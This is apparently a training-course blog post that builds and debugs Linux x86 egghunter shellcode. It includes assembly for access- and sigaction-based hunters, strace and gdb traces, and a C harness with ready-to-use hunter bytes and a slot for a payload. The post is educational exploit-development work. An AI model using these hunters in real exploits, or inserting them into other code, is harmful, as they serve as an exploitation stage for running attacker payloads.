This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017

Challenge

  • Study about the Egg Hunter shellcode
  • Create a working demo of the Egghunter
  • Should be configurable for different payloads

Assembly Code

Hunter 1: Access: Code

;
;   Skape's egghunter: access(2)
;
  
global _start:
 
section .text
 
_start:
 
    mov ebx, 0x50905090     ; Store EGG in ebx
    xor ecx, ecx            ; Zero out ECX
    mul ecx                 ; Zero out EAX and EDX
 
IncPage:                    ; JMP to increment page number
 
    or dx, 0xfff            ; Align page address
 
IncAddr:                    ; JMP to increment address
 
    inc edx                 ; Go to next address
 
    pushad                  ; Push general registers onto stack
    lea ebx, [edx+4]        ; [edx+4] so we can compare [edx] and [edx+4] at the same time
    mov al, 0x21            ; syscall for access()
    int 0x80                ; call access() to check memory location [EBX]
    cmp al, 0xf2            ; Did it return EFAULT?
    popad                   ; Restore registers
    jz IncPage              ; access() returned EFAULT, skip page
 
    cmp [edx], ebx          ; initialized memory, check if EGG is in [edx]
    jnz IncAddr             ; EGG isn't in [edx], visit next address
 
    cmp [edx+4], ebx        ; EGG is found in [edx], is it in [edx+4] too?
    jne IncAddr             ; Boohoo! It wasn't. Visit next address
 
    jmp edx                 ; [edx][edx+4] contain EGGEGG, we found our shellcode! Execute meaningless EGGEGG instructions then our payload

Hunter 2: Access Revisit: Problem

Program throw SegFault error during execution.

Hunter 2: Access Revisit: Strace Code

Discovered syscall access throw an EINVAL error which is different from the previous access egghunter.

> strace egghunter_access2_notworking
strace: Can't stat 'egghunter_access2_notworking': No such file or directory
[email protected]:~/SLAE/ass3/binary# strace ./egghunter_access2_notworking
execve("./egghunter_access2_notworking", ["./egghunter_access2_notworking"], [/* 18 vars */]) = 0
brk(NULL)                               = 0x8d53000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb770a000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=99825, ...}) = 0
mmap2(NULL, 99825, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb76f1000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320\207\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1786484, ...}) = 0
mmap2(NULL, 1792540, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb753b000
mmap2(0xb76eb000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1af000) = 0xb76eb000
mmap2(0xb76ee000, 10780, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ee000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7732000
set_thread_area({entry_number:-1, base_addr:0xb7732940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76eb000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb7733000, 4096, PROT_READ)   = 0
munmap(0xb76f1000, 99825)               = 0
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 18), ...}) = 0
brk(NULL)                               = 0x8d53000
brk(0x8d74000)                          = 0x8d74000
write(1, "Hunter size: 35\n", 16Hunter size: 35
)       = 16
write(1, "Shellcode size: 35\n", 19Shellcode size: 35
)    = 19
write(1, "Egg is at 0x804a040\n", 20Egg is at 0x804a040
)   = 20
access(0x1004, R_OK|0x7fffffe8)         = -1 EINVAL (Invalid argument)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x1000} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

access(0x1004, R_OK|0x7fffffe8) = -1 EINVAL (Invalid argument)

# cat /usr/include/unistd.h | grep -i _OK
#define R_OK    4       /* Test for read permission.  */
#define W_OK    2       /* Test for write permission.  */
#define X_OK    1       /* Test for execute permission.  */
#define F_OK    0       /* Test for existence.  */

Reviewed man page for access, we have identified it is related to incorrect mode setting.

EINVAL mode was incorrectly specified.

Reviewed the register values just before/after syscall access. We found the only difference is ECX. We guess ECX is for mode setting.

   Hunter 1: access Hunter 2: access revisit
 Before syscall access eax 0x21 33
ecx 0x0 0
edx 0x1000 4096
ebx 0x1004 4100
esp 0xbffff69c 0xbffff69c
ebp 0xbffff6d8 0xbffff6d8
esi 0xb7fb8000 -1208254464
edi 0xb7fb8000 -1208254464
eip 0x804a095 0x804a095 <hunter+21>
eflags 0x216 [ PF AF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
eax 0x21 33
ecx 0x7fffffec 2147483628
edx 0x1000 4096
ebx 0x1004 4100
esp 0xbffff6cc 0xbffff6cc
ebp 0xbffff6e8 0xbffff6e8
esi 0xb7fb8000 -1208254464
edi 0xb7fb8000 -1208254464
eip 0x804a08e 0x804a08e <hunter+14>
eflags 0x216 [ PF AF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
 After syscall access eax 0xfffffff2 -14
ecx 0x0 0
edx 0x1000 4096
ebx 0x1004 4100
esp 0xbffff69c 0xbffff69c
ebp 0xbffff6d8 0xbffff6d8
esi 0xb7fb8000 -1208254464
edi 0xb7fb8000 -1208254464
eip 0x804a097 0x804a097 <hunter+23>
eflags 0x216 [ PF AF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

eax 0xffffffea -22
ecx 0x7fffffec 2147483628
edx 0x1000 4096
ebx 0x1004 4100
esp 0xbffff6cc 0xbffff6cc
ebp 0xbffff6e8 0xbffff6e8
esi 0xb7fb8000 -1208254464
edi 0xb7fb8000 -1208254464
eip 0x804a090 0x804a090 <hunter+16>
eflags 0x216 [ PF AF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Code

We added instructuion to clear ecx at beginning of code. It fixed the problem.

;
;   Skape's egghunter: access(2) revised
;
 
global _start
 
section .text
 
_start:
 
    xor edx, edx            ; EDX = 0
    xor ecx, ecx
 
IncPage:
 
    or dx, 0xfff            ; Align page address
 
IncAddr:
 
    inc edx                 ; Go to next address
    lea ebx, [edx+0x4]      ; [edx+4] so we can compare [edx] and [edx+4] at the same time
    push byte 0x21          ; syscall for access()
    pop eax
    int 0x80                ; call access() to check memory location [EBX]
    cmp al, 0xf2            ; Did it return EFAULT?
 
    jz IncPage              ; It did, skip page
    mov eax, 0x50905090     ; Store EGG in EAX
    mov edi, edx            ; Move EDX to EDI for scasd operation
    scasd                   ; Check if [EDI] == EAX then increment EDI
    jnz IncAddr             ; It isn't, increment address
 
    scasd                   ; Check if [EDI] == EAX then increment EDI
    jnz IncAddr             ; It isn't, increment address
 
    jmp edi                 ; We found our Egg! JMP to EDI, which points directly to our shellcode

Hunter 3: sigaction: Problem

Program triggers Segfault when $ecx/$edi equals to 0x0.

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/SLAE/ass3/binary/egghunter-sigcheck-notworking
Hunter size: 30
Shellcode size: 30
Egg is at 0x804a040
i
Program received signal SIGSEGV, Segmentation fault.
Dump of assembler code from 0x804a07e to 0x804a088:
=> 0x0804a07e <hunter+22>: scas   eax,DWORD PTR es:[edi]
   0x0804a07f <hunter+23>:    jne    0x804a06d <hunter+5>
   0x0804a081 <hunter+25>:    scas   eax,DWORD PTR es:[edi]
   0x0804a082 <hunter+26>:    jne    0x804a06d <hunter+5>
   0x0804a084 <hunter+28>:    jmp    edi
   0x0804a086 <hunter+30>:    add    BYTE PTR [eax],al
End of assembler dump.
eax            0x50905090   1351635088
ecx            0x0  0
edx            0xb7fb9870   -1208248208
ebx            0x0  0
esp            0xbffff68c   0xbffff68c
ebp            0xbffff6a8   0xbffff6a8
esi            0xb7fb8000   -1208254464
edi            0x0  0
eip            0x804a07e    0x804a07e <hunter+22>
eflags         0x10283  [ CF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

Hunter 3: sigaction: Code

In that case, we fixed the problem by adding the bypass code (for $ecx=0) as shown below.

;
; egghunter by sigaction
; By skape
;
 
global _start:
 
section .text
 
_start:
     
align_page:
 
    or cx,0xfff         ; page alignment
 
next_address:
 
    inc ecx
    jnz not_null
    inc ecx
 
not_null:
 
    push byte +0x43     ; sigaction(2)
    pop eax             ; store syscall identifier in eax
    int 0x80            ; call sigaction(2)
    cmp al,0xf2         ; did we get an EFAULT?
    jz align_page       ; invalid pointer - try with the next page
 
    mov eax, 0x50905090 ; place the egg in eax
 
    mov edi, ecx        ; address to be validated
    scasd               ; compare eax / edi and increment edi by 4 bytes
    jnz next_address    ; no match - try with the next address
 
    scasd               ; first 4 bytes matched, what about the other half?
    jnz next_address    ; no match - try with the next address
 
    jmp edi             ; egg found! jump to our payload

Final

Command to generate shellcode

nasm -f elf32 -o sigaction.o sigaction.nasm -g
ld -o sigaction sigaction.o
objdump -d ./sigaction |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

C Program

/*
 egghunter.c
 Tim Ip
*/
 
#include <stdio.h>
#include <string.h>
 
unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50" //egg
"PUT YOUR SHELLCODE HERE";
 
// Hunter 1: access
// unsigned char hunter[] = "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
 
// Hunter 2: access-revisit (not working - Incorrect mode / non-zero ECX)
// unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
 
// Hunter 2: access-revisit (working - zeroed ECX)
// unsigned char hunter[] = "\x31\xd2\x31\xc9\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
 
// Hunter 3: sigaction (not working - SegFault at ECX=0x0)
// unsigned char hunter[] = "\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
 
// Hunter 3: sigaction (working - bypass ECX=0x0)
unsigned char hunter[] = "\x66\x81\xc9\xff\x0f\x41\x75\x01\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
 
int main() {
    printf("Hunter size: %d\n", strlen(hunter));
    printf("Shellcode size: %d\n", strlen(hunter));
 
    printf("Egg is at %p\n", shellcode);
    int (*ret)() = (int(*)())hunter;
    ret();
}